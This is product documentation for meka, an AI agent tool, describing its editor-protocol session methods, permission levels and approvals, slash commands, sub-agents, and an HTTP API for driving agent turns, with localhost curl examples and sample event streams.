session/load { sessionId, cwd, mcpServers }: replays the persisted conversation as a stream ofsession/updatenotifications (user_message_chunk,agent_message_chunk,agent_thought_chunk,tool_call,tool_call_update) before the response. Orphan tool calls (the persisted log stopped mid-tool) are closed out with afailedstatus so the client’s UI doesn’t render a stuck spinner. If the client’scwddiffers from the persisted one, meka updates the persisted row to match; the client wins, but only once the session has actually opened, so a load meka refuses (a sub-agent’s id, a profile that has leftconfig.toml, an account with no stored credential) leaves the session’s recorded directory and roots exactly as they were.mcpServersis ignored silently here and onsession/resume. A sub-agent’s id is refused withInvalidParamsbefore the session is locked; continue that conversation withagent_followupfrom the parent instead. -
session/list { cwd?, cursor? }: paginated index. Filtered to the requested cwd when present, compared in the canonical spelling every session records; sub-agent sessions are always hidden.nextCursoris opaque; round-trip it back to keep paging. -
session/resume { sessionId, cwd, mcpServers }: adopts the session id without replaying. Use this when the client already has the history rendered. Same cwd-update behavior assession/load, including that a refused resume writes nothing. A sub-agent’s id is refused on the same terms assession/load. -
session/fork { sessionId, cwd, additionalDirectories, mcpServers }: copies the session’s conversation into a new persisted session, adopts the copy as active, and returns its id. The source is left open and untouched. See Forking. -
session/close { sessionId }: cancels any in-flight prompt, waits for that turn to finish (the cancel does not cut short aread_fileor anfs/*request already in progress), releases the on-disk session lock, and removes the entry from the map. -
session/cancel { sessionId }: interrupts the activesession/prompt. The response carriesstopReason: "cancelled". A cancel sent straight after a prompt still stops that prompt, even if it arrives before the turn has started: meka latches the signal and applies it as the turn begins. The latch is scoped to a prompt that is already on its way, so a cancel with nothing to stop is discarded rather than saved. Interrupting a turn, canceling twice, or canceling while idle all leave the next prompt you send to run normally. -
session/set_mode { sessionId, modeId }: flips the agent’sPermissioncell. A level outside[permissions].enabledis refused withInvalidParams. On success, meka emitssession/update: current_mode_update. The flip is atomic and applies to the next tool call within an in-flight turn; no need to wait for the turn to finish. -
session/set_config_option { sessionId, configId, value }: sets one of the three entries inconfigOptions. Returns the full list with its new values. See Session config options.
session/new, session/load, session/resume and session/fork all answer with modes and configOptions, and each is followed by an available_commands_update (see Slash commands). --writable-root on the meka acp command line adds to every session’s workspace roots, beside whatever the client sent.
Idle sessions are released
A session untouched for 24 hours is dropped from the map by a sweep that runs every 5 minutes,
releasing its lock and detaching its MCP registry. Only the in-memory entry goes: session/load
reopens the conversation exactly as it does one from a previous run, so a client that keeps an id
around needs no special handling. Sticky approval answers go with the entry, so they reset here as they
do on session/close.
session/close is optional in the protocol and several editors never send one, which is what this
answers. Each open session holds an Agent, a tool registry the MCP manager keeps a clone of, and
an open file lock, none of them reachable from anywhere else meanwhile. Neither the window nor the
scan interval is configurable; both match [serve]’s
defaults for the same mechanism.
Prompt turn
A session/prompt carries a prompt array of ContentBlocks. meka accepts:
text: the baseline.resource_link: flattened into a<resource_link name="…" uri="…">description</resource_link>tag inside the prompt text so the model sees the reference; meka does not fetch the resource server-side. A block that declares a MIME type addsmime="…"to the tag, here and onresourcebelow.resource(embedded @-mention contents): a text resource is inlined as a<resource uri="…">…contents…</resource>tag; a binary (blob) resource becomes a self-closing<resource uri="…" encoding="base64"/>marker (the payload is not inlined).image: accepted only when the profile has vision on. The payload is normalized through meka’s image pipeline (size cap, format conversion) and forwarded to the model as native vision input (Claudeimage, OpenAI chatimage_url, Codexinput_image).
audio blocks (and image when vision = false) produce InvalidParams.
Images travel in the other direction too: when a tool looks at one (read_file on an image file,
render_image, fetch_url on an image URL), the picture is forwarded on that tool call as an
image content block rather than a placeholder, so the client renders what the model was shown.
While the turn runs, meka streams session/update notifications:
agent_message_chunkfor each piece of assistant text.agent_thought_chunkfor thinking blocks (Claude OAuth / extended-thinking models).tool_callwhen a tool starts, withkind,status: "in_progress", an absolutelocationsarray (relative paths resolved against the session cwd, with the start line forread_file), the raw input, and a human-readabletitle. The title is the tool’s name followed by its primary argument, the same words the REPL’s[tool ...]indicator uses, so editors show what’s running rather than the bare tool name:execute_command <command>,read_file <path>/edit_file <path>/write_file <path>,fetch_url <url>, and the same under an MCP tool’s own name.tool_call_updatewhen a tool finishes, with the finalstatus(completed/failed), acontentarray, andraw_output(the structured tool result).execute_commandoutput is wrapped in a fencedconsolecode block so editors render it monospaced;edit_fileandwrite_filepopulate diff content blocks so clients can render the apply-diff UI. (Large outputs offloaded to the scratchpad show the scratchpad reference rather than the full payload.)planwhenever the agent’stodotool updates the task list, so clients with a plan panel (e.g. Zed) render the live to-do list. meka’scanceledtodo status maps tocompleted.session_info_updateonce per session, carrying the title (the first user message’s words, cut to 80 characters) so a freshly created or loaded tab gets a label without asession/listcall.- A
[meka]-prefixedagent_message_chunkfor an advisory meka itself raised during the turn (a lost write, a compaction, an MCP elicitation it declined on your behalf), since ACP has no primitive for one. A warning carries[meka warn]instead, so a client can style the two apart. A scheduled job’s turn that failed or was interrupted is reported the same way, since it has nosession/promptresponse to carry its outcome. - A
user_message_chunkcarrying a scheduled job’s prompt, pushed by meka itself before the turn it fires runs, so the transcript shows what triggered it. usage_updateafter each turn, carryingused(tokens currently in context: all input tiers plus output) andsize(the model’s context window), so clients with a context gauge (e.g. Zed) show how full the window is. Emitted only once both values are known.- The
session/promptresponse additionally carriesusage: session-cumulativetotalTokens/inputTokens/outputTokens/cachedReadTokens/cachedWriteTokens. This is the running total for the session, not the gauge:usage_updateanswers “how full is the window”,usageanswers “what has this session cost”.thoughtTokensis omitted because meka doesn’t meter reasoning separately from output.
The response carries a final stopReason:
stopReason | Meaning |
|---|---|
end_turn | The agent finished cleanly. |
max_tokens | The provider stopped because the model hit its maximum output tokens. The assistant message may be truncated. |
cancelled | session/cancel interrupted the turn, including the case where the cancel caused an error in an underlying operation. meka probes the per-session cancellation token after the turn; any error returned while the token has fired surfaces as cancelled rather than a generic JSON-RPC error. |
refusal | The model declined to comply (Claude stop_reason: "refusal" and the OpenAI equivalent). The assistant message contains the refusal text. |
Permission levels
meka’s Permission levels map 1:1 to ACP SessionMode ids:
| Permission | Mode id | Display name | Description |
|---|---|---|---|
None | none | None | No tools available. |
Read | read | Read | File reads and searches only. No writes, no shell. |
Workspace | workspace | Workspace | Writes confined to the workspace roots. |
Unrestricted | unrestricted | Unrestricted | Writes and shell commands reach anywhere on the machine. |
The full picker is advertised on every session-creation response (NewSessionResponse.modes, LoadSessionResponse.modes, ResumeSessionResponse.modes, ForkSessionResponse.modes) but only the levels in [permissions].enabled from your config.toml are listed; picking a disabled level would just error.
The same picker is also advertised as a configOptions entry, so a client that reads either field
gets it; see below.
With the approvals config option on, a tool call above the active level triggers a session/request_permission round-trip instead of a refusal. Clients render four options:
- Allow: run this call only.
- Always allow any
<tool_name>: run this call and skip the prompt for that tool for the rest of the session. - Deny: refuse this call only.
- Always deny any
<tool_name>: refuse this call and every subsequent call to that tool.
The sticky options name the tool because that is exactly their scope: the decision is keyed on the tool name and takes no account of arguments. The prompt’s title is <tool_name> <primary argument>, the tool’s name and the argument the indicator shows, so for a shell command you are reading one specific command line while the sticky option covers every shell command the agent runs afterwards. If you want per-command control, use Allow and keep answering. The request’s rawInput, and a fenced json content block beside the title, carry every argument the call was made with, so a client that renders either shows what is being written and not only where.
Sticky decisions live in meka’s process memory with the session entry; they reset on session/close and when the idle sweep releases the session.
A prompt left unanswered for 30 minutes is denied, and the turn carries on; the HTTP API’s permission_required event has the same 30 minutes. This is a backstop against a client that is connected but will never reply (an editor whose UI thread has wedged, or a harness that speaks ACP without implementing prompts), not a deadline on you: session/cancel already resolves a prompt the moment you stop the turn, and without the backstop a client that does neither holds the session’s runtime mutex indefinitely, blocking session/close and session/set_mode behind it. Denying rather than allowing on expiry is deliberate: an unanswered prompt is not consent.
Session config options
Every session-creation response also carries configOptions, a list of options a client can
render and change with session/set_config_option. meka advertises three, in this order:
configId | Kind | Category | Values | Meaning |
|---|---|---|---|---|
permission | select | mode | The ids in [permissions].enabled | The same picker as modes, so it sits beside the one below |
profile | select | model | The profile names in your config.toml | The profile this session runs on |
approvals | boolean | mode | true / false | Whether a call above the level is put to you for approval rather than refused; see Permissions |
approvals takes the protocol’s boolean value, "type": "boolean", "value": true beside configId
in the session/set_config_option params, where the two pickers take a bare value id and no
type. A new session starts with
[permissions].approvals from the config file; session/load and session/resume restore what the
session recorded, since the switch is written to the session row like the level.
permission is deliberately advertised twice, once here and once in the legacy modes field. A
client that only understands modes keeps the picker it has; one that reads configOptions gets
permission and profile adjacent rather than in two unrelated menus. Setting it through either route
does the same thing, and neither picker is left stale: session/set_mode pushes a
current_mode_update and a config_option_update, while session/set_config_option pushes a
current_mode_update and returns the whole refreshed list in its response.
A session whose recorded profile has since left config.toml cannot be loaded at all:
session/load fails while building the runtime, so there is no entry for
session/set_config_option to change. Restore the profile in config.toml, or move the session
with meka -r <id> --profile <name> from a shell, and load it again.
Changing profile rewrites the session’s row, so it holds for every later turn and for a resume
from any surface, not just for this connection. This is the same change /profile makes in the
REPL and PATCH /v1/sessions/{id} makes over HTTP. Switching mid-conversation is allowed and is
your call: a thinking block is tagged with the backend that produced it and is not replayed to a
different one, so from the next turn the model no longer sees the reasoning recorded under the old
profile.
While a turn is in flight the switch is refused with InvalidParams (cannot switch profile while a turn is in flight; cancel it first), the answer a second session/prompt gets, and nothing is
written. Reasoning effort is deliberately not offered: which tiers a
model accepts is a fact about the provider’s system, and a fixed dropdown would be meka asserting
it. It stays on the profile.
Slash commands
Two kinds of slash command are advertised through session/update: available_commands_update (after session/new / session/load / session/resume / session/fork, and refreshed at the top of every session/prompt so a skill installed mid-session shows up without a reconnect):
- Built-in local commands:
/status(the permission level, then the REPL’s block: profile, model, context usage, effort, thinking, compaction count, cumulative tokens),/mcp(configured MCP servers and their connection status) and/usage(the account’s rate-limit windows, subscription backends only). They render text back as anagent_message_chunkand end the turn immediately, with no model call. - Skills (see Skills): each installed skill is a top-level command carrying a free-form input hint (
"additional context (optional)").
When the user picks one from the palette, the client typically inserts /<name> and lets the user type extra context. meka parses the prompt as follows:
- A built-in local command (
/status,/mcp,/usage): handled agent-side, output streamed back, turn ends with no model call. Checked first, so a skill can’t shadow a built-in (a skill namedstatus,mcporusageis dropped from the palette). - Plain text (no leading slash): passes through to the model unchanged.
/<skill-name>matching an installed skill: loads the skill body via the same path as the REPL’s/skillcommand and prepends any extra context the user typed.- Slash with a syntactically valid but unknown skill name (
/nonexistent): passes through to the model unchanged, with adebuglog. The filter false-positives on pasted text like/usr local lib, so a miss is read as “not a skill invocation after all” and the model can say it does not know the command. Only a skill that exists but cannot be read is an error (InternalError). - Slash with content that isn’t a valid skill identifier (
/etc/hosts,//comment): passes through to the model unchanged, so pasted paths and code comments don’t get intercepted.
Sub-agents
agent_spawn and skill-based delegation produce a sub-agent that runs through PermissionForwardingFrontend. The sub-agent’s own output isn’t streamed to the client (its final report flows back through the parent’s tool_call_update), but its permission prompts and fs/* requests forward through the parent’s connection, so the editor’s apply-diff UI sees a sub-agent’s writes the same as the root agent’s.
ACP has no sub-agent primitive (no nested sessions, no nested tool calls), so a sub-agent is one tool call, and its progress is that call’s content. While it runs, each tool call it starts is appended to a rolling list (the last 20) and pushed as a tool_call_update on the parent’s agent_spawn call, so a long delegated task shows what it is currently doing instead of an opaque spinner. The whole list is resent on each update because clients replace a tool call’s content rather than appending to it. A nested sub-agent’s list is not forwarded further up: it already appears as an agent_spawn line in its parent’s list, and two writers on one tool call’s content would overwrite each other.
Multi-root workspaces
An editor whose workspace holds several folders (Zed’s Add Folder to Project) sends the first as cwd and the rest as additionalDirectories. Clients only send them when the agent advertises sessionCapabilities.additionalDirectories, so before meka advertised it every folder but the first was silently dropped and the agent would report files in them as missing.
What the extra roots do and don’t change:
- Search sweeps all of them.
find_filesandsearch_contentswalk every root when you don’t pass an explicitpath. The 60-second walk budget is shared across the whole call, not granted per root, so a four-folder workspace doesn’t get a four-minute ceiling. Passingpathsearches exactly that tree, as before. - A truncated
search_contentssays which roots it skipped. Roots are walked in order starting fromcwd, so a busycwdcan fill the 100-match cap before later roots are reached. When that happens the output names how many roots went unsearched, rather than leaving their absence to read as “nothing there”. Passpathto search one directly, orscratchpadto lift the cap.find_filesis unaffected: its cap bounds only what it prints, so it still counts matches across every root. - Overlapping roots are collapsed. A root nested inside another (or a repeat of
cwd) is dropped, so its tree isn’t walked twice and its files aren’t reported twice. Symlinked duplicates aren’t detected. - The model is told they exist. Each root is named in the per-turn environment context, alongside the working directory.
- Relative paths still resolve against
cwdonly. This is what the spec requires:cwd“remains the base for relative paths”. Use an absolute path to reach a file in another root. - The shell still runs in
cwd.execute_commandis unaffected. - A stale root is skipped, not fatal. A root that no longer exists is passed over so the other roots can still answer;
search_contentsreports “does not exist” only when no root existed. Root paths are escaped before they reach the glob engine, so a folder named2024*ornotes[1]matches literally instead of widening the search.
Every entry must be an absolute path; a relative one is refused with InvalidParams.
The list is persisted and reported back on session/list as SessionInfo.additionalDirectories, which is how a client rebuilds the workspace shape when you pick a session out of its history. session/load and session/resume carry the complete resulting list, so they replace what was stored rather than merging: reopening a session from a window that no longer has the second folder correctly narrows it, and an empty list clears the roots.
Forking
session/fork branches a copy off a persisted session: the new session starts with the source’s full conversation and continues from there, while the source stays open and unchanged. It’s the protocol’s way to explore a direction, or run something like a summary, without writing into the conversation the user is looking at.
The request is a session-creation request, not a row copy: it carries its own cwd and additionalDirectories, and meka applies those to the fork rather than inheriting the source’s. mcpServers is ignored, as on session/new. The response returns the new sessionId and the current SessionMode state, and the fork is registered as active immediately, so it can be prompted without a further session/load or session/resume.
There is no replay: unlike session/load, forking emits no session/update stream for the copied history, since a client that just forked already has the transcript rendered.
Sub-agent child transcripts are not copied, and a fork of an ordinary session records no link back
to its source. session/fork answers InvalidParams for a sub-agent’s own id: the copy would be a
sibling under the same parent and could not be driven, so the answer points at agent_followup
from the parent instead. It answers InvalidParams for
a source with a prompt in flight too, as a second session/prompt does, and for a source another
meka process has open: either copy would end on a prompt nothing answered. See
Forking a session for the full semantics.
This method is marked unstable in the protocol: it is not part of the spec yet and may change or be removed. Zed does not currently call it.
Known limitations
- Tool-call diff metadata isn’t persisted. A session reopened with
session/loadreplaystool_call_updates as plain text rather than diffs. The on-disk content is unaffected. terminal/*is never used: meka owns every process it spawns, so no command runs in the client’s terminal. Output streams into the tool call instead, as an agent-owned terminal where the client advertises_meta.terminal_outputand aconsoleblock otherwise. See Shell commands stay inside meka.- Image and regex
read_file: stay local. Thefs/read_text_filerequest carries only text, so there’s no protocol surface to delegate either case. audioprompts: not supported;audiocontent blocks produceInvalidParams.- No client-side model gate for images: when
visionis on, meka forwards images to whatever model the profile names; a non-vision model returns a provider error rather than meka refusing up front. Setvision = falsefor text-only endpoints.
HTTP API
meka serve exposes meka as an HTTP API server so other programs can drive agent turns programmatically. Where Interactive mode is for humans at a terminal and ACP is for editor integrations over stdio, the HTTP API is for service-to-service use cases:
- A Telegram or Discord bridge that connects a chat bot to an agent.
- A web or mobile UI that streams assistant responses in real time.
- A script or orchestrator that embeds meka as a sub-agent backend.
- Any cross-language client that speaks HTTP+JSON.
All three entry points (meka, meka acp, meka serve) drive the same agent core: same tools, same profiles, same session persistence. The HTTP API is a transport layer on top. A shell script that wants one turn as JSON and no server can use meka --oneshot --format json instead; see One-shot mode.
Starting the server
meka serve
The server reads the [serve] section from your config.toml (see Configuration below). At minimum you need one bearer token; bind defaults to 127.0.0.1:8080:
[serve]
bind = "127.0.0.1:8080"
[[serve.tokens]]
token = "${MEKA_API_TOKEN}"
scopes = ["sessions:r", "sessions:w"]
On startup the server logs the bind address and begins accepting requests. All endpoints (except health probes and OpenAPI docs) require a valid Authorization: Bearer <token> header.
Two flags are refused rather than ignored: -c and -r. Both name one run’s session, and the server creates one per POST /v1/sessions, each naming its own profile. Address an existing session by id under /v1/sessions/{id}, and pass profile on the create request. --profile is accepted, since it selects which configured profile a session gets when it names none, which is a property of the server rather than of one session.
TLS:
meka servespeaks plain HTTP. For production, front it with a TLS-terminating reverse proxy (nginx, Caddy, Cloudflare Tunnel).
Quick example
Blocking turn (simplest)
# Create a session
curl -s -X POST http://localhost:8080/v1/sessions \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cwd": "/home/user/project"}' | jq .id
# → "550e8400-e29b-41d4-a716-446655440000"
# Submit a turn
curl -s -X POST http://localhost:8080/v1/sessions/550e8400-e29b-41d4-a716-446655440000/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"message": "list the files in src/"}' | jq .final_text
# → "Here are the files in src/: ..."
Streaming turn
curl -N -X POST http://localhost:8080/v1/sessions/$SESSION_ID/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"message": "explain this codebase", "stream": true}'
The response is a text/event-stream (SSE) that emits typed events as the agent works:
retry: 3000
event: turn.started
id: 0
data: {"turn_id":"...","session_id":"...","started_at":"2026-05-26T13:45:12Z","source":"client"}
event: assistant_text.delta
id: 1
data: {"text":"This project is ","turn_id":"...","session_id":"..."}
event: assistant_text.delta
id: 2
data: {"text":"a Rust workspace that..."}
event: tool_call.composing
id: 3
data: {"id":"tu_1","name":"read_file"}
event: tool_call.executing
id: 4
data: {"id":"tu_1","name":"read_file","input":{"path":"src/main.rs"},"display_summary":"src/main.rs"}
event: tool_call.completed
id: 5
data: {"id":"tu_1","is_error":false,"content":[{"type":"text","text":"fn main() { ... }"}]}
event: turn.finished
id: 12
data: {"turn_id":"...","session_id":"...","stop_reason":"end_turn","usage":{"input_tokens":12340,"output_tokens":567,...}}
Every payload carries turn_id and session_id; the later events above elide them.
Core concepts
Sessions
A session is a persistent conversation with its own working directory, permission level, and message history. Sessions live in the same store as REPL and ACP sessions; they’re interchangeable.
POST /v1/sessions Create a session
GET /v1/sessions List sessions (paginated)
GET /v1/sessions/{id} Get session details
PATCH /v1/sessions/{id} Update permission, approvals, cwd or profile
DELETE /v1/sessions/{id} Close and clean up
POST /v1/sessions/{id}/fork Branch a copy off a session
GET /v1/sessions is paginated. limit is how many to return (default 50, clamped to 1..200),
most recently updated first. When more remain, the response carries next_cursor; pass it back as
cursor for the next page. include_children=true lists sub-agent sessions too, and cwd=<path>
keeps only the sessions in that working directory, compared in the canonical spelling every session
records.
When creating a session, specify the working directory and optionally a permission level, the approvals switch, a profile, and capabilities:
{
"cwd": "/home/user/project",
"permission": "workspace",
"approvals": false,
"profile": "work",
"capabilities": {
"supports_reasoning_stream": false,
"supports_permission_prompts": true
}
}
approvals is whether a tool call above the level is put to the client for approval rather than
refused; see Approvals below. Omitted, it is the server’s [permissions].approvals.
Every session response echoes both permission and approvals back.
Create, get, list, fork and PATCH all answer with the same session record:
{
"id": "550e8400-e29b-41d4-a716-446655440000",
"created_at": "2026-05-26T13:45:12Z",
"updated_at": "2026-05-26T13:47:01Z",
"cwd": "/home/user/project",
"permission": "workspace",
"approvals": false,
"profile": "work",
"title": "list the files in src/",
"last_turn_at": "2026-05-26T13:47:01Z",
"capabilities": {"supports_reasoning_stream": false, "supports_permission_prompts": true},
"turn_in_flight": false
}
created_at is when the row was made; updated_at moves on any session-level change, a PATCH
included; last_turn_at is the last successful turn, and title is the first user message’s
words, whitespace collapsed and cut to 80 characters.
On every response and event this API sends, a field that has no value is omitted rather than sent
as null. On a session that means last_turn_at until a turn has run (and always on a session
this server has evicted), cwd when the row recorded none, permission when the session is not
loaded and its row records no level, and parent_id, which only a sub-agent’s session carries. The
same rule gives a turn its refusal_text only on a refusal and a tool call its display_summary
only when the tool has a label. It is also why meka session show --format json prints the same
object for the same record: the row’s fields are one shape shared by both surfaces, and
last_turn_at, capabilities and turn_in_flight are what the server adds to it.
profile names a profile in the server’s config.toml; GET /v1/profiles lists them, and a name
that is not configured is a 422 whose detail reads no profile named 'x' (configured: a, b).
Omitted, it is the server’s own default profile. The session keeps
it for the rest of its life and every session response echoes it back as profile, so a client can
confirm which account a session bills.
To move a live session onto another profile, PATCH /v1/sessions/{id} with {"profile": "other"}.
That rewrites the session’s row, so it holds for a resume from any surface rather than for this
request. Switching mid-conversation is allowed and is your call: a thinking block is tagged with the
backend that produced it and is not replayed to a different one, so from the next turn the model no
longer sees the reasoning recorded under the old profile. Like cwd, it is a 409 when a turn is
already in flight; cancel first. permission and approvals are the two fields that apply during
a turn; see Permission levels over HTTP. (One admitted between the
check and the agent swap makes the swap wait for that turn rather than fail, so the request can take
as long as the turn does. The row has already moved by then, and the agent follows when the turn
ends.)
A PATCH naming a profile moves the session to that profile, and the profile is the whole story:
the model, the account and every model-tied setting come from it, so there is nothing else on the
row to reconcile. The row is also the billing record, so a profile the store cannot record fails the
request; permission, approvals and cwd still apply to the live session when their row write
fails, and the failure is logged.
If you run more than one meka on the same store, send the PATCH to whichever process has the
session. A body naming only a profile is the one PATCH that works on a session this server has
not loaded, and it takes the session lock to do it, so a session another process is running answers
409 session-locked rather than moving a row that process would go on ignoring. Only the host
holding a session may change what it runs on.
A body naming only profile is also the rescue for a session whose profile has left
config.toml: it moves the row without building an agent, so it works on a session that cannot
currently run. Adding permission or cwd to the same body loses that, because those need a loaded
session and loading one is exactly what fails; send the profile on its own first.
The cwd field is validated on create, fork and patch, by the same rule the REPL’s /cd and ACP
apply:
- Must be an absolute path (no relative paths).
- Must exist on the server’s filesystem.
- Must be a directory (not a file, device, or socket).
- Must not contain null bytes (which cause kernel/userspace path mismatch).
- Is recorded, and echoed back, in its canonical spelling: symlinks resolved,
.and..removed. Every host records the same spelling, so acwdfilter on the listing finds a session however its directory was spelled.
If cwd is omitted, it defaults to the server process’s current working directory.
Sessions persist server-side until explicitly deleted or evicted by the idle timeout GC (see Session lifecycle).
Capabilities
| Capability | Default | Meaning |
|---|---|---|
supports_reasoning_stream | false | Include thinking.delta events in the SSE stream |
supports_permission_prompts | true | The client can answer a mid-turn permission_required event |
Enabling supports_reasoning_stream costs a streaming turn its retry on a transient provider failure: the deltas have already reached you and a second attempt would repeat them, and reasoning is the first thing a turn produces. Blocking turns on the same session are unaffected, since they carry whole blocks rather than deltas.
Set supports_permission_prompts: false if you stream but have no interface to show an approval
prompt on, which is the normal case for a service-to-service client streaming for liveness. Gated
tools are then denied immediately with an explanatory notice, the same as blocking mode. Leaving it
true means every gated call parks for 30 minutes and then denies anyway, which is hard to tell
apart from a hang. Better still, create the session with permission: "workspace" so nothing is gated.
The flag speaks for the streaming client: a feed reader that opened the stream with attend=true
is asked regardless, since attending is that declaration made per connection.
Forking a session
POST /v1/sessions/{id}/fork copies a session’s conversation into a new session and returns it with
201 and the usual session body. The copy starts with the source’s full history and is immediately
usable; the source is left untouched, and does not have to be in memory, so a GC-evicted session
forks as well as a live one. A source with a turn in flight answers 409 turn-in-flight, as
PATCH, DELETE, compact and rewind do; cancel the turn or wait for it. A source another meka
process holds answers 409 session-locked. Either copy would have ended on a prompt nothing
answered.
The body is optional and inherits everything by default. The only field is cwd, matching ACP’s
session/fork, which likewise carries a workspace but no permission or capability fields:
{ "cwd": "/home/user/other-project" }
Permission, approvals, capabilities and the profile are inherited and remain changeable afterwards via
PATCH /v1/sessions/{id}. Sub-agent child transcripts are not copied, and a fork of an ordinary
session records no link back to its source.
A sub-agent’s own id is refused with 422: the copy would keep that sub-agent’s parent and spawn terms,
so it is a sibling under the same parent rather than a session this endpoint could hand back. See
Forking a session for the full semantics.
Sub-agent sessions cannot be driven through this API
GET /v1/sessions?include_children=true lists the sessions an agent_spawn created. Those ids are
readable through every endpoint on this page (/messages, /context, /export) and
drivable through none of them: POST /v1/sessions/{id}/turn answers 422 with
/errors/session-not-drivable, as do /compact, /responses/{request_id}, /fork, /schedule,
and PATCH /v1/sessions/{id}. A sub-agent
runs under the tools, permission ceiling and profile its spawn call set, which live in its
spawn record and which only its parent can reconstruct, so the conversation is continued with the
agent_followup tool from the parent rather than over HTTP.
Two exceptions, both of which change a transcript without running anything on it. Teardown stays
open: DELETE /v1/sessions/{id} discards a sub-agent and DELETE /v1/sessions/{id}/tasks/{task_id}
stops one of its background tasks, and the parent’s own agent_delete does the same thing. So does
POST /v1/sessions/{id}/rewind, which truncates the event log the same caller can already read in
full through /export, and which meka session rewind has always allowed on a sub-agent. The line is
whether the model runs: /compact is refused because compaction is a turn.
Importing an archive
POST /v1/sessions/import recreates a session tree from a meka session export archive under fresh
ids, on the same terms as the CLI’s meka session import. An archive naming no profile takes the
server’s default, the same one POST /v1/sessions applies to a body with no profile; a
long-lived host always has one, since it refuses to start without it.
One limit is the server’s alone: an archive holding more than 1000 sessions is refused with a
422 whose detail names the count and the cap, and points at meka session import. The whole tree
is written in one transaction on the process’s single connection to the store, so a larger one would
hold every other in-flight request behind it. A one-shot meka session import restoring its own
backup has nothing to contend with and so carries no cap; it is the way to restore a tree this
large.
Everything else about the archive is honored as the CLI honors it; see Exporting a session.
Detecting an in-flight turn
Session responses carry turn_in_flight, a boolean saying whether a turn is running right now. It
exists so a client whose SSE stream dropped can tell “my turn is still running” from “my turn died”
without submitting a speculative turn and reading the 409. A dropped stream does not cancel the
turn; the work continues server-side and resubmitting would duplicate a reply the user is about to
receive. Poll GET /v1/sessions/{id} and wait for it to go false rather than retrying blind.
The same holds for a blocking turn whose client gives up: a request timeout on your side does
not stop the turn. It runs to completion, persists its messages, and fires its webhook; you just
never see the response body. Read the reply from GET /v1/sessions/{id}/messages. This is why a
client timeout shorter than your longest turn is safe, and why retrying on one duplicates work
rather than recovering it.
Turns
A turn is one round-trip: you send a user message, the agent processes it (potentially calling tools in a loop), and returns a result. Turns are ephemeral: they’re not stored as their own resource, but the messages they produce are persisted in the session’s conversation history.
POST /v1/sessions/{id}/turn Submit a turn
POST /v1/sessions/{id}/cancel Cancel an in-flight turn
One turn at a time per session. A second POST /turn while another is running returns 409 Conflict. Across sessions, turns run fully concurrently. A client that would rather hand the message over and be told when the model read it uses the inbox instead of waiting for the session to be free.
POST /cancel takes an optional body {"turn_id": "..."}. Without one it stops whatever is running, as it always did. With one it stops only that turn, and answers 409 turn-mismatch naming the turn actually in flight when it is another, so a client that watched a turn cannot stop the scheduled fire or the inbox turn that replaced it. Every turn.started on the session feed carries the id to name.
The turn request body accepts five fields:
| Field | Type | Default | Description |
|---|---|---|---|
message | string | (required) | The user message. May be empty when images is non-empty |
images | array | [] | Image attachments; see Image attachments |
stream | bool | false | false → single JSON response; true → SSE stream |
options.skill | string | null | null | When set, activates the named skill for this turn (equivalent to /skill <name> in the REPL). With an empty message the skill body runs alone, as --skill does; a turn with no text, no image and no skill is a 422 |
options.unanswered_message | string | keep | What becomes of message if the turn ends, failed or canceled, before anything from the model reached the conversation. keep leaves it in place, as the REPL does with a typed prompt. withdraw takes it back, for a client that resends a failed turn; see Resending a failed turn |
The inbox
POST /turn is synchronous: one request, one turn, the response scoped to it, and a 409 while the session is busy. The inbox is the asynchronous door beside it, for a client that lives with a session rather than driving one turn at a time: a chat bridge, a UI, a parent process with something to say while the agent works.
POST /v1/sessions/{id}/inbox Enqueue a message
GET /v1/sessions/{id}/inbox Items the model has not been shown
DELETE /v1/sessions/{id}/inbox/{item_id} Withdraw an item still waiting
The body is {"message": "...", "class": "steer" | "followup" | "interrupt", "source": "..."}. class is required and is the whole contract:
steerreaches a turn that is already running. The loop reads the inbox at every round boundary, after a round’s tool results and before the next request, and appends what it finds to that same message, so the model sees it as soon as it next asks the provider anything. This is what lets you correct or redirect the agent ten seconds into a ten-minute task, the way a person glances at a message mid-task.followupwaits for the running turn to end.interruptdoes not wait for the answer being written. While the provider is streaming, the stream is dropped within a second, the text that had arrived is kept as the answer so far, and the message follows it as the next thing the model reads; the same turn carries on, with no terminal in between, and the feed says so with anotice. A cut can land inside a thinking block or after a tool call was announced and never run: thenoticeis what closes those. While a tool runs, nothing is cut: the message is read at the round boundary after the tool’s results, exactly as asteeris. A profile that does not stream has nothing partial to keep: the reply being generated is dropped whole and the request goes again with the message. The cost is the request sent again, which the prompt cache mostly absorbs, and the part of the answer that was never written. For “stop, do this instead”; asteeris enough for “also, when you get to it”.
Every class rides the opening of the next turn when nothing is running, whoever starts that turn, and opens a turn of its own when nothing else does. A turn that has been admitted but has not yet sent its first request is not running yet in this sense: an item that lands in that moment rides its opening, whatever its class. The model reads each item under a header meka writes: [Message from <source>, arrived <time>], with while you were working added when it landed mid-turn. source defaults to the token’s description, then to client; the body is verbatim, so a client relaying text from strangers fences it itself.
The answer is 202 with the item and its state:
{"item_id": "...", "session_id": "...", "class": "steer", "state": "pending", "replayed": false}
An item is pending until its text is in the conversation, appended until the provider accepts a request carrying it, then delivered; withdrawn is a DELETE, a canceled turn, or meka giving up. Delivered means the model read it, not that it was written down: the feed’s inbox.delivered fires when the provider accepts the request, and names the turn that carried the item. A rewind that takes an appended item’s text out of the conversation before it was delivered offers the item again. GET /v1/sessions/{id} reports inbox_pending beside turn_in_flight while the session is loaded.
Idempotency-Key works here as on POST /turn: the same key with another message or class is refused with 409 idempotency. One difference matters to a bridge: the key is recorded on the row rather than in memory, so a retry that lands after a meka restart still finds its earlier item and answers it with replayed: true, and the key stays bound to that item for the session’s life, withdrawn or delivered. The item is durable before the 202; a session evicted for idleness is revived to run it, and a process that restarts finds it waiting.
A turn opened on inbox items that fails before anything from the model reached the conversation withdraws its prompt and offers the items again, waiting 10 seconds, then twice that per attempt, up to five minutes between attempts. After an hour from when an item was enqueued it is given up on: withdrawn, with inbox.failed on the feed and the webhook, so whoever is waiting is told rather than left with silence. An item a tool round already carried into the conversation is not retried: it is history, and the next turn of any kind delivers it. An item on a session another process holds (a REPL open on it, say) is asked about again every ten seconds until the holder lets go, or the holder’s own next turn carries it; those waits count toward the hour.
